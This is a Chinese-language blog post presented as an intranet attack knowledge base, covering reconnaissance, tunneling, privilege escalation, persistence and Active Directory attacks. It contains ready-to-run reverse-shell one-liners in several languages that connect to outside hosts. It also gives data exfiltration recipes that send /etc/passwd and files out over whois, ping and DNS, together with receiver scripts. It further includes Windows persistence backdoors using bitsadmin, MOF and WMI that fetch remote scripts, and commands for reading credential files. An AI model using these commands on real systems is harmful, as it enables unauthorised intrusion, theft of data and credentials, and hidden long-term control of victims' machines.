<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    一個內網安全攻防的知識倉庫

    一顆小胡椒2022-07-28 09:43:25

    Table of Contents

    • 信息搜集
    • 字典列表
    • 密碼生成
    • 郵箱列表獲取
    • 泄露密碼查詢
    • 對企業外部相關信息進行搜集
    • 子域名獲取
    • github
    • whois查詢/注冊人反查/郵箱反查/相關資產
    • google hacking
    • 開源情報信息收集(OSINT)
    • 創建企業密碼字典
    • 進入內網
    • 基于企業弱賬號漏洞
    • 基于系統漏洞進入
    • 網站應用程序滲透
    • 無線Wi-Fi接入
    • 隱匿攻擊
    • Command and Control
    • Fronting
    • 代理
    • 內網跨邊界應用
    • EW
    • Termite
    • 代理腳本
    • 內網跨邊界轉發
    • 內網跨邊界代理穿透
    • shell反彈
    • 內網文件的傳輸和下載
    • 搭建 HTTP server
    • 內網信息搜集
    • 端口掃描
    • 內網拓撲架構分析
    • 常見信息收集命令
    • 常用端口掃描工具
    • 1、用戶列表
    • 2、進程列表
    • 3、服務列表
    • 4、端口列表
    • 5、補丁列表
    • 6、本機共享
    • 7、本用戶習慣分析
    • 8、獲取當前用戶密碼工具
    • Windows
    • Linux
    • 本機信息搜集
    • 擴散信息收集
    • 第三方信息收集
    • 權限提升
    • 內核溢出提權
    • 計劃任務
    • SUID
    • 系統服務的錯誤權限配置漏洞
    • 不安全的文件/文件夾權限配置
    • 找存儲的明文用戶名,密碼
    • BypassUAC
    • 提權
    • 常用方法
    • 常用工具
    • Windows
    • Linux
    • 權限維持
    • Windows
    • Linux
    • 1、密碼記錄工具
    • 2、常用的存儲Payload位置
    • 3、Run/RunOnce Keys
    • 4、BootExecute Key
    • 5、Userinit Key
    • 6、Startup Keys
    • 7、Services
    • 8、Browser Helper Objects
    • 9、AppInit_DLLs
    • 10、文件關聯
    • 11、bitsadmin
    • 12、mof
    • 13、wmi
    • 14、Userland Persistence With Scheduled Tasks
    • 15、Netsh
    • 16、Shim
    • 17、DLL劫持
    • 18、DoubleAgent
    • 19、waitfor.exe
    • 20、AppDomainManager
    • 21、Office
    • 22、CLR
    • 23、msdtc
    • 24、Hijack CAccPropServicesClass and MMDeviceEnumerato
    • 25、Hijack explorer.exe
    • 26、Windows FAX DLL Injection
    • 27、特殊注冊表鍵值
    • 28、快捷方式后門
    • 29、Logon Scripts
    • 30、Password Filter DLL
    • 31、利用BHO實現IE瀏覽器劫持
    • crontab
    • 硬鏈接sshd
    • SSH Server wrapper
    • SSH keylogger
    • Cymothoa_進程注入backdoor
    • rootkit
    • Tools
    • 系統后門
    • WEB后門
    • 橫向滲透
    • Bypass Applocker
    • bypassAV
    • 信息搜集
    • 獲取域控的方法
    • 獲取AD哈希
    • AD持久化
    • 其他
    • TIPS
    • 相關工具
    • powerview.ps1
    • BloodHound
    • 獲取域內DNS信息
    • SYSVOL
    • MS14-068 Kerberos
    • SPN掃描
    • Kerberos的黃金門票
    • Kerberos的銀票務
    • 域服務賬號破解
    • 憑證盜竊
    • NTLM relay
    • Kerberos委派
    • 地址解析協議
    • Zerologon
    • noPac
    • ADCS
    • CVE-2022-26923
    • 活動目錄持久性技巧
    • Security Support Provider
    • SID History
    • AdminSDHolder&SDProp
    • 組策略
    • Hook PasswordChangeNotify
    • Kerberoasting后門
    • AdminSDHolder
    • Delegation
    • 黃金證書
    • 域內主機提權
    • Exchange的利用
    • 端口掃描
    • 端口爆破
    • 端口弱口令
    • 端口溢出
    • 常見的默認端口
    • 1、web類(web漏洞/敏感目錄)
    • 2、數據庫類(掃描弱口令)
    • 3、特殊服務類(未授權/命令執行類/漏洞)
    • 4、常用端口類(掃描弱口令/端口爆破)
    • 5、端口合計所對應的服務
    • 端口滲透
    • 域滲透
    • 在遠程系統上執行程序
    • IOT相關
    • 中間人
    • 規避殺軟及檢測
    • 痕跡清理
    • Windows日志清除
    • 破壞Windows日志記錄功能
    • Metasploit
    • 3389登陸記錄清除

    信息搜集

    開源情報信息收集(OSINT)

    github

    • Github_Nuggests(自動爬取Github上文件敏感信息泄露) :https://github.com/az0ne/Github_Nuggests
    • GSIL(能夠實現近實時(15分鐘內)的發現Github上泄露的信息) :https://github.com/FeeiCN/GSIL
    • x-patrol(小米團隊的):https://github.com/MiSecurity/x-patrol

    whois查詢/注冊人反查/郵箱反查/相關資產

    • 站長之家:http://whois.chinaz.com/?DomainName=target.com&ws=
    • 愛站:https://whois.aizhan.com/target.com/
    • 微步在線:https://x.threatbook.cn/
    • IP反查:https://dns.aizhan.com/
    • 天眼查:https://www.tianyancha.com/
    • 虎媽查:http://www.whomx.com/
    • 歷史漏洞查詢 :
    • 在線查詢:http://wy.zone.ci/
    • 自搭建:https://github.com/hanc00l/wooyun_publi/

    google hacking

    創建企業密碼字典

    字典列表

    • passwordlist:https://github.com/lavalamp-/password-lists
    • 豬豬俠字典:https://pan.baidu.com/s/1dFJyedz Blasting_dictionary(分享和收集各種字典,包括弱口令,常用密碼,目錄爆破。數據庫爆破,編輯器爆破,后臺爆破等)
    • 針對特定的廠商,重點構造廠商相關域名的字典
    ['%pwd%123','%user%123','%user%521','%user%2017','%pwd%321','%pwd%521','%user%321','%pwd%123!','%pwd%123!@#','%pwd%1234','%user%2016','%user%123$%^','%user%123!@#','%pwd%2016','%pwd%2017','%pwd%1!','%pwd%2@','%pwd%3#','%pwd%123#@!','%pwd%12345','%pwd%123$%^','%pwd%!@#456','%pwd%123qwe','%pwd%qwe123','%pwd%qwe','%pwd%123456','%user%123#@!','%user%!@#456','%user%1234','%user%12345','%user%123456','%user%123!']
    

    密碼生成

    • GenpAss(中國特色的弱口令生成器: https://github.com/RicterZ/genpAss/
    • passmaker(可以自定義規則的密碼字典生成器) :https://github.com/bit4woo/passmaker
    • pydictor(強大的密碼生成器) :https://github.com/LandGrey/pydictor

    郵箱列表獲取

    • theHarvester :https://github.com/laramies/theHarvester
    • 獲取一個郵箱以后導出通訊錄
    • LinkedInt :https://github.com/mdsecactivebreach/LinkedInt
    • Mailget:https://github.com/Ridter/Mailget

    泄露密碼查詢

    • ghostproject: https://ghostproject.fr/
    • pwndb: https://pwndb2am4tzkvold.onion.to/

    對企業外部相關信息進行搜集

    子域名獲取
    • Layer子域名挖掘機4.2紀念版
    • subDomainsBrute :https://github.com/lijiejie/subDomainsBrute
    • wydomain :https://github.com/ring04h/wydomain
    • Sublist3r :https://github.com/aboul3la/Sublist3r
    • 企查查:https://www.qcc.com/
    • 天眼查:https://www.tianyancha.com/
    • site:target.com:https://www.google.com
    • Github代碼倉庫
    • 抓包分析請求返回值(跳轉/文件上傳/app/api接口等)
    • 站長幫手links等在線查詢網站
    • 域傳送漏洞

    Linux

    dig @ns.example.com example=.com AXFR 
    

    Windows

    nslookup -type=ns xxx.yyy.cn #查詢解析某域名的DNS服務器
    nslookup #進入nslookup交互模式
    server dns.domian.com #指定dns服務器
    ls xxx.yyy.cn #列出域信息
    
    • GetDomainsBySSL.py :https://note.youdao.com/ynoteshare1/index.html?id=247d97fc1d98b122ef9804906356d47a&type=note#/
    • censys.io證書 :https://censys.io/certificates?q=target.com
    • crt.sh證書查詢:https://crt.sh/?q=%25.target.com
    • shadon :https://www.shodan.io/
    • zoomeye :https://www.zoomeye.org/
    • fofa :https://fofa.so/
    • censys:https://censys.io/
    • dnsdb.io :https://dnsdb.io/zh-cn/search?q=target.com
    • api.hackertarget.com :http://api.hackertarget.com/reversedns/?q=target.com
    • community.riskiq.com :https://community.riskiq.com/Search/target.com
    • subdomain3 :https://github.com/yanxiu0614/subdomain3
    • FuzzDomain :https://github.com/Chora10/FuzzDomain
    • dnsdumpster.com :https://dnsdumpster.com/
    • phpinfo.me :https://phpinfo.me/domain/
    • dns開放數據接口 :https://dns.bufferover.run/dns?q=baidu.com

    進入內網

    基于企業弱賬號漏洞

    • VPN(通過郵箱,密碼爆破,社工等途徑獲取VPN)
    • 企業相關運維系統(zabbix等)

    基于系統漏洞進入

    • Metasploit(漏洞利用框架):https://github.com/rapid7/metasploit-framework
    • 漏洞利用腳本

    網站應用程序滲透

    • SQL注入
    • 跨站腳本(XSS)
    • 跨站請求偽造(CSRF)
    • SSRF(ssrf_proxy)
    • 功能/業務邏輯漏洞
    • 其他漏洞等
    • CMS-內容管理系統漏洞
    • 企業自建代理

    無線Wi-Fi接入

    隱匿攻擊

    Command and Control

    • ICMP :https://pentestlab.blog/2017/07/28/command-and-control-icmp/
    • DNS :https://pentestlab.blog/2017/09/06/command-and-control-dns/
    • DropBox :https://pentestlab.blog/2017/08/29/command-and-control-dropbox/
    • Gmail :https://pentestlab.blog/2017/08/03/command-and-control-gmail/
    • Telegram :http://drops.xmd5.com/static/drops/tips-16142.html
    • Twitter :https://pentestlab.blog/2017/09/26/command-and-control-twitter/
    • Website Keyword :https://pentestlab.blog/2017/09/14/command-and-control-website-keyword/
    • PowerShell :https://pentestlab.blog/2017/08/19/command-and-control-powershell/
    • Windows COM :https://pentestlab.blog/2017/09/01/command-and-control-windows-com/
    • WebDAV :https://pentestlab.blog/2017/09/12/command-and-control-webdav/
    • Office 365 :https://www.anquanke.com/post/id/86974
    • HTTPS :https://pentestlab.blog/2017/10/04/command-and-control-https/
    • Kernel :https://pentestlab.blog/2017/10/02/command-and-control-kernel/
    • Website :https://pentestlab.blog/2017/11/14/command-and-control-website/
    • WMI :https://pentestlab.blog/2017/11/20/command-and-control-wmi/
    • WebSocket :https://pentestlab.blog/2017/12/06/command-and-control-websocket/
    • Images :https://pentestlab.blog/2018/01/02/command-and-control-images/
    • Web Interface :https://pentestlab.blog/2018/01/03/command-and-control-web-interface/
    • JavaScript :https://pentestlab.blog/2018/01/08/command-and-control-javascript/
    • ...

    Fronting

    • Domain Fronting
    • Tor_Fronting.

    代理

    • VPN
    • shadowsockts :https://github.com/shadowsocks
    • HTTP :http://cn-proxy.com/
    • Tor

    內網跨邊界應用

    內網跨邊界轉發

    • NC端口轉發
    • LCX端口轉發
    • nps -> 個人用覺得比較穩定 ~
    • frp
    • 代理腳本
    1. Tunna
    2. Reduh
    • ...

    內網跨邊界代理穿透

    EW

    正向 SOCKS v5 服務器:

    ./ew -s ssocksd -l 1080
    

    反彈 SOCKS v5 服務器: a) 先在一臺具有公網 ip 的主機A上運行以下命令:

    $ ./ew -s rcsocks -l 1080 -e 8888 
    

    b) 在目標主機B上啟動 SOCKS v5 服務 并反彈到公網主機的 8888端口

    $ ./ew -s rssocks -d 1.1.1.1 -e 8888 
    

    多級級聯

    $ ./ew -s lcx_listen -l 1080 -e 8888
    $ ./ew -s lcx_tran -l 1080 -f 2.2.2.3 -g 9999
    $ ./ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999
    

    lcx_tran 的用法

    $ ./ew -s ssocksd -l 9999
    $ ./ew -s lcx_tran -l 1080 -f 127.0.0.1 -g 9999
    

    lcx_listen、lcx_slave 的用法

    $ ./ew -s lcx_listen -l 1080 -e 8888
    $ ./ew -s ssocksd -l 9999
    $ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
    

    “三級級聯”的本地SOCKS測試用例以供參考

    $ ./ew -s rcsocks -l 1080 -e 8888
    $ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
    $ ./ew -s lcx_listen -l 9999 -e 7777
    $ ./ew -s rssocks -d 127.0.0.1 -e 7777
    

    Termite

    使用說明:https://rootkiter.com/Termite/README.txt

    代理腳本

    reGeorg :https://github.com/sensepost/reGeorg Neo-reGeorg:https://github.com/L-codes/Neo-reGeorg pystinger(毒刺):https://github.com/FunnyWolf/pystinger ABPTTS:https://github.com/nccgroup/ABPTTS

    shell反彈

    bash

    bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
    

    perl

    perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
    

    python

    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
    

    php

    php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
    

    ruby

    ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
    

    java

    r = Runtime.getRuntime()
    p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
    p.waitFor()
    

    nc

    #使用-e 
    nc -e /bin/sh 223.8.200.234 1234 
    #不使用-e
    mknod /tmp/backpipe p
    /bin/sh 0/tmp/backpipe | nc attackerip listenport 1>/tmp/backpipe
    

    lua

    lua -e "require('socket');require('os');t=socket.tcp();t:connect('202.103.243.122','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
    

    內網文件的傳輸和下載

    wput

    wput dir_name ftp://linuxpig:123456@host.com/
    

    wget

    wget http://site.com/1.rar -O 1.rar
    

    ariac2(需安裝)

    aria2c -o owncloud.zip https://download.owncloud.org/community/owncloud-9.0.0.tar.bz2
    

    powershell

    $p = New-Object System.Net.WebClient 
    $p.DownloadFile("http://domain/file","C:%homepath%file") 
    

    vbs腳本

    Set args = Wscript.Arguments
    Url = "http://domain/file"
    dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
    dim bStrm: Set bStrm = createobject("Adodb.Stream")
    xHttp.Open "GET", Url, False
    xHttp.Send
    with bStrm
    .type = 1 '
    .open
    .write xHttp.responseBody
    .savetofile " C:\%homepath%\file", 2 '
    end with
    
    執行 :cscript test.vbs

    Perl

    #!/usr/bin/perl 
    use LWP::Simple; 
    getstore("http://domain/file", "file");
    
    執行:perl test.pl

    Python

    #!/usr/bin/python 
    import urllib2 
    u = urllib2.urlopen('http://domain/file') 
    localFile = open('local_file', 'w') 
    localFile.write(u.read()) 
    localFile.close()
    
    執行:python test.py

    Ruby

    #!/usr/bin/ruby
    require 'net/http'
    Net::HTTP.start("www.domain.com") { |http|
    r = http.get("/file")
    open("save_location", "wb") { |file|
    file.write(r.body)
    }
    }
    
    執行:ruby test.rb

    PHP

    <?php
    $url  = 'http://www.example.com/file';
    $path = '/path/to/file';
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $data = curl_exec($ch);
    curl_close($ch);
    file_put_contents($path, $data);
    ?>
    
    執行:php test.php

    NC attacker

    cat file | nc -l 1234
    

    target

    nc host_ip 1234 > file
    

    FTP

    ftp 127.0.0.1 username password get file exit
    

    TFTP

    tftp -i host GET C:%homepath%file location_of_file_on_tftp_server
    

    Bitsadmin

    bitsadmin /transfer n http://domain/file c:%homepath%file
    

    Window 文件共享

    net use x: \127.0.0.1\share /user:example.comuserID myPassword
    

    SCP 本地到遠程

    scp file user@host.com:/tmp
    

    遠程到本地

    scp user@host.com:/tmp file
    

    rsync 遠程rsync服務器中拷貝文件到本地機

    rsync -av root@192.168.78.192::www /databack
    

    本地機器拷貝文件到遠程rsync服務器

    rsync -av /databack root@192.168.78.192::www
    

    certutil.exe

    certutil.exe -urlcache -split -f http://site.com/file
    

    copy

    copy \\IP\ShareName\file.exe file.exe
    

    WHOIS 接收端 Host B:

    nc -vlnp 1337 | sed "s/ //g" | base64 -d 
    

    發送端 Host A:

    whois -h host_ip -p 1337 `cat /etc/passwd | base64`
    

    WHOIS + TAR First:

    ncat -k -l -p 4444 | tee files.b64  #tee to a file so you can make sure you have it
    

    Next

    tar czf - /tmp/* | base64 | xargs -I bits timeout 0.03 whois -h host_ip -p 4444 bits
    

    Finally

    cat files.b64 | tr -d '\r\n' | base64 -d | tar zxv #to get the files out
    

    PING 發送端:

    xxd -p -c 4 secret.txt | while read line; do ping -c 1 -p $line ip; done
    

    接收端ping_receiver.py:

    import sys
    try:
        from scapy.all import *
    except:
        print("Scapy not found, please install scapy: pip install scapy")
        sys.exit(0)
    def process_packet(pkt):
        if pkt.haslayer(ICMP):
            if pkt[ICMP].type == 8:
                data = pkt[ICMP].load[-4:]
                print(f'{data.decode("utf-8")}', flush=True, end="", sep="")
    sniff(iface="eth0", prn=process_packet)
    python3 ping_receiver.py
    

    DIG 發送端:

    xxd -p -c 31 /etc/passwd | while read line; do dig @172.16.1.100 +short +tries=1 +time=1 $line.gooogle.com; done
    

    接收端dns_reciver.py:

    try:
        from scapy.all import *
    except:
        print("Scapy not found, please install scapy: pip install scapy")
    def process_packet(pkt):
        if pkt.haslayer(DNS):
            domain = pkt[DNS][DNSQR].qname.decode('utf-8')
            root_domain = domain.split('.')[1]
            if root_domain.startswith('gooogle'):
                print(f'{bytearray.fromhex(domain[:-13]).decode("utf-8")}', flush=True, end='')
    sniff(iface="eth0", prn=process_packet)
    python3 dns_reciver.py
    

    ...

    搭建 HTTP server

    python2

    python -m SimpleHTTPServer 1337
    

    python3

    python -m http.server 1337
    

    PHP 5.4+

    php -S 0.0.0.0:1337
    

    ruby

    ruby -rwebrick -e'WEBrick::HTTPServer.new(:Port => 1337, :DocumentRoot => Dir.pwd).start'
    ruby -run -e httpd . -p 1337
    

    Perl

    perl -MHTTP::Server::Brick -e '$s=HTTP::Server::Brick->new(port=>1337); $s->mount("/"=>{path=>"."}); $s->start'
    perl -MIO::All -e 'io(":8080")->fork->accept->(sub { $_[0] < io(-x $1 +? "./$1 |" : $1) if /^GET \/(.*) / })'
    

    busybox httpd

    busybox httpd -f -p 8000
    

    內網信息搜集

    本機信息搜集

    1、用戶列表

    windows用戶列表 分析郵件用戶,內網[域]郵件用戶,通常就是內網[域]用戶

    2、進程列表

    析殺毒軟件/安全監控工具等 郵件客戶端 VPN ftp等

    3、服務列表

    與安全防范工具有關服務[判斷是否可以手動開關等] 存在問題的服務[權限/漏洞]

    4、端口列表

    開放端口對應的常見服務/應用程序[匿名/權限/漏洞等] 利用端口進行信息收集

    5、補丁列表

    分析 Windows 補丁 第三方軟件[Java/Oracle/Flash 等]漏洞

    6、本機共享

    本機共享列表/訪問權限 本機訪問的域共享/訪問權限

    7、本用戶習慣分析

    歷史記錄 收藏夾 文檔等

    8、獲取當前用戶密碼工具

    Windows
    • mimikatz
    • wce
    • Invoke-WCMDump
    • mimiDbg
    • LaZagne
    • nirsoft_package
    • QuarksPwDump fgdump
    • 星號查看器等
    Linux
    • LaZagne
    • mimipenguin
    瀏覽器
    • HackBrowserData
    • SharpWeb
    • SharpDPAPI
    • 360SafeBrowsergetpass
    其他
    • SharpDecryptPwd
    • Decrypt_Weblogic_Password
    • OA-Seeyou

    擴散信息收集

    端口掃描

    常用端口掃描工具
    • nmap
    • masscan
    • zmap
    • s掃描器
    • 自寫腳本等
    • NC
    • ...

    內網拓撲架構分析

    • DMZ
    • 管理網
    • 生產網
    • 測試網

    常見信息收集命令

    ipconfig:

    ipconfig /all ------> 查詢本機 IP 段,所在域等
    

    net:

    net user ------> 本機用戶列表
    net localgroup administrators ------> 本機管理員[通常含有域用戶]
    net user /domain ------> 查詢域用戶
    net group /domain ------> 查詢域里面的工作組
    net group "domain admins" /domain ------> 查詢域管理員用戶組
    net localgroup administrators /domain ------> 登錄本機的域管理員
    net localgroup administrators workgroup\user001 /add ----->域用戶添加到本機 net group "Domain controllers" -------> 查看域控制器(如果有多臺)
    net view ------> 查詢同一域內機器列表 net view /domain ------> 查詢域列表
    net view /domain:domainname
    

    dsquery

    dsquery computer domainroot -limit 65535 && net group "domain
    computers" /domain ------> 列出該域內所有機器名
    dsquery user domainroot -limit 65535 && net user /domain------>列出該域內所有用戶名
    dsquery subnet ------>列出該域內網段劃分
    dsquery group && net group /domain ------>列出該域內分組 
    dsquery ou ------>列出該域內組織單位 
    dsquery server && net time /domain------>列出該域內域控制器 
    

    第三方信息收集

    • NETBIOS 信息收集
    • SMB 信息收集
    • 空會話信息收集
    • 漏洞信息收集等

    權限提升

    Windows

    BypassUAC

    常用方法
    • 使用IFileOperation COM接口
    • 使用Wusa.exe的extract選項
    • 遠程注入SHELLCODE 到傀儡進程
    • DLL劫持,劫持系統的DLL文件
    • eventvwr.exe and registry hijacking
    • sdclt.exe
    • SilentCleanup
    • wscript.exe
    • cmstp.exe
    • 修改環境變量,劫持高權限.Net程序
    • 修改注冊表HKCU\Software\Classes\CLSID,劫持高權限程序
    • 直接提權過UAC
    常用工具
    • UACME
    • Bypass-UAC
    • Yamabiko
    • ...

    提權

    • windows內核漏洞提權
    檢測類:Windows-Exploit-Suggester,WinSystemHelper,wesng
    利用類:windows-kernel-exploits,BeRoot
    • 服務提權
    數據庫服務,ftp服務等
    • WINDOWS錯誤系統配置
    • 系統服務的錯誤權限配置漏洞
    • 不安全的注冊表權限配置
    • 不安全的文件/文件夾權限配置
    • 計劃任務
    • 任意用戶以NT AUTHORITY\SYSTEM權限安裝msi
    • 提權腳本
    PowerUP,ElevateKit

    Linux

    內核溢出提權

    linux-kernel-exploits

    計劃任務

    crontab -l
    ls -alh /var/spool/cron
    ls -al /etc/ | grep cron
    ls -al /etc/cron*
    cat /etc/cron*
    cat /etc/at.allow
    cat /etc/at.deny
    cat /etc/cron.allow
    cat /etc/cron.deny
    cat /etc/crontab
    cat /etc/anacrontab
    cat /var/spool/cron/crontabs/root
    

    SUID

    find / -user root -perm -4000 -print 2>/dev/null
    find / -perm -u=s -type f 2>/dev/null
    find / -user root -perm -4000 -exec ls -ldb {} \;
    

    尋找可利用bin:https://gtfobins.github.io/

    系統服務的錯誤權限配置漏洞

    cat /var/apache2/config.inc
    cat /var/lib/mysql/mysql/user.MYD
    cat /root/anaconda-ks.cfg
    

    不安全的文件/文件夾權限配置

    cat ~/.bash_history
    cat ~/.nano_history
    cat ~/.atftp_history
    cat ~/.mysql_history
    cat ~/.php_history
    

    找存儲的明文用戶名,密碼

    grep -i user [filename]
    grep -i pass [filename]
    grep -C 5 "password" [filename]
    find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla
    

    權限維持

    系統后門

    Windows

    1、密碼記錄工具

    WinlogonHack WinlogonHack 是一款用來劫取遠程3389登錄密碼的工具,在 WinlogonHack 之前有 一個 Gina 木馬主要用來截取 Windows 2000下的密碼,WinlogonHack 主要用于截 取 Windows XP 以及 Windows 2003 Server。鍵盤記錄器 安裝鍵盤記錄的目地不光是記錄本機密碼,是記錄管理員一切的密碼,比如說信箱,WEB 網頁密碼等等,這樣也可以得到管理員的很多信息。NTPass 獲取管理員口令,一般用 gina 方式來,但有些機器上安裝了 pcanywhere 等軟件,會導致遠程登錄的時候出現故障,本軟件可實現無障礙截取口令。Linux 下 openssh 后門 重新編譯運行的sshd服務,用于記錄用戶的登陸密碼。

    2、常用的存儲Payload位置

    WMI : 存儲:

    $StaticClass = New-Object Management.ManagementClass('root\cimv2', $null,$null)
    $StaticClass.Name = 'Win32_Command'
    $StaticClass.Put()
    $StaticClass.Properties.Add('Command' , $Payload)
    $StaticClass.Put() 
    

    讀取:

    $Payload=([WmiClass] 'Win32_Command').Properties['Command'].Value
    

    包含數字簽名的PE文件 利用文件hash的算法缺陷,向PE文件中隱藏Payload,同時不影響該PE文件的數字簽名 特殊ADS …

    type putty.exe > ...:putty.exe
    wmic process call create c:\test\ads\...:putty.exe
    

    特殊COM文件

    type putty.exe > \\.\C:\test\ads\COM1:putty.exe
    wmic process call create \\.\C:\test\ads\COM1:putty.exe
    

    磁盤根目錄

    type putty.exe >C:\:putty.exe 
    wmic process call create C:\:putty.exe
    
    3、Run/RunOnce Keys

    用戶級

    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
    

    管理員

    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
    HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
    
    4、BootExecute Key

    由于smss.exe在Windows子系統加載之前啟動,因此會調用配置子系統來加載當前的配置單元,具體注冊表鍵值為:

    HKLM\SYSTEM\CurrentControlSet\Control\hivelist
    HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Control\Session Manager
    
    5、Userinit Key

    WinLogon進程加載的login scripts,具體鍵值:

    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
    
    6、Startup Keys
    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
    
    7、Services

    創建服務

    sc create [ServerName] binPath= BinaryPathName
    
    8、Browser Helper Objects

    本質上是Internet Explorer啟動時加載的DLL模塊

    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects
    
    9、AppInit_DLLs

    加載User32.dll會加載的DLL

    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs
    
    10、文件關聯
    HKEY_LOCAL_MACHINE\Software\Classes
    HKEY_CLASSES_ROOT
    
    11、bitsadmin
    bitsadmin /create backdoor
    bitsadmin /addfile backdoor %comspec% %temp%\cmd.exe
    bitsadmin.exe /SetNotifyCmdLine backdoor regsvr32.exe "/u /s /i:https://host.com/calc.sct scrobj.dll"
    bitsadmin /Resume backdoor
    
    12、mof
    pragma namespace("\\\\.\\root\\subscription") 
    instance of __EventFilter as $EventFilter
    {
    EventNamespace = "Root\\Cimv2";
    Name = "filtP1";
    Query = "Select * From __InstanceModificationEvent "
    "Where TargetInstance Isa \"Win32_LocalTime\" "
    "And TargetInstance.Second = 1";
    QueryLanguage = "WQL";
    }; 
    instance of ActiveScriptEventConsumer as $Consumer
    {
    Name = "consP1";
    ScriptingEngine = "JScript";
    ScriptText = "GetObject(\"script:https://host.com/test\")";
    }; 
    instance of __FilterToConsumerBinding
    {
    Consumer = $Consumer;
    Filter = $EventFilter;
    };
    

    管理員執行:

    mofcomp test.mof
    
    13、wmi

    每隔60秒執行一次notepad.exe

    wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="BotFilter82", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
    wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="BotConsumer23", ExecutablePath="C:\Windows\System32\notepad.exe",CommandLineTemplate="C:\Windows\System32\notepad.exe"
    wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"BotFilter82\"", Consumer="CommandLineEventConsumer.Name=\"BotConsumer23\""
    
    14、Userland Persistence With Scheduled Tasks

    劫持計劃任務UserTask,在系統啟動時加載dll

    function Invoke-ScheduledTaskComHandlerUserTask
    {
    [CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'Medium')]
    Param (
    [Parameter(Mandatory = $True)]
    [ValidateNotNullOrEmpty()]
    [String]
    $Command,
    [Switch]
    $Force
    )
    $ScheduledTaskCommandPath = "HKCU:\Software\Classes\CLSID\{58fb76b9-ac85-4e55-ac04-427593b1d060}\InprocServer32"
    if ($Force -or ((Get-ItemProperty -Path $ScheduledTaskCommandPath -Name '(default)' -ErrorAction SilentlyContinue) -eq $null)){
    New-Item $ScheduledTaskCommandPath -Force |
    New-ItemProperty -Name '(Default)' -Value $Command -PropertyType string -Force | Out-Null
    }else{
    Write-Verbose "Key already exists, consider using -Force"
    exit
    }
    if (Test-Path $ScheduledTaskCommandPath) {
    Write-Verbose "Created registry entries to hijack the UserTask"
    }else{
    Write-Warning "Failed to create registry key, exiting"
    exit
    } 
    }
    Invoke-ScheduledTaskComHandlerUserTask -Command "C:\test\testmsg.dll" -Verbose
    
    15、Netsh
    netsh add helper c:\test\netshtest.dll
    

    后門觸發:每次調用netsh

    dll編寫:https://github.com/outflanknl/NetshHelperBeacon
    16、Shim

    常用方式:InjectDll RedirectShortcut RedirectEXE

    17、DLL劫持

    通過Rattler自動枚舉進程,檢測是否存在可用dll劫持利用的進程 使用:Procmon半自動測試更精準,常規生成的dll會導致程序執行報錯或中斷,使用AheadLib配合生成dll劫持利用源碼不會影響程序執行 工具:https://github.com/sensepost/rattler 工具:https://github.com/Yonsm/AheadLib

    18、DoubleAgent

    編寫自定義Verifier provider DLL 通過Application Verifier進行安裝 注入到目標進程執行payload 每當目標進程啟動,均會執行payload,相當于一個自啟動的方式 POC : https://github.com/Cybellum/DoubleAgent

    19、waitfor.exe

    不支持自啟動,但可遠程主動激活,后臺進程顯示為waitfor.exe POC : https://github.com/3gstudent/Waitfor-Persistence

    20、AppDomainManager

    針對.Net程序,通過修改AppDomainManager能夠劫持.Net程序的啟動過程。如果劫持了系統常見.Net程序如powershell.exe的啟動過程,向其添加payload,就能實現一種被動的后門觸發機制

    21、Office

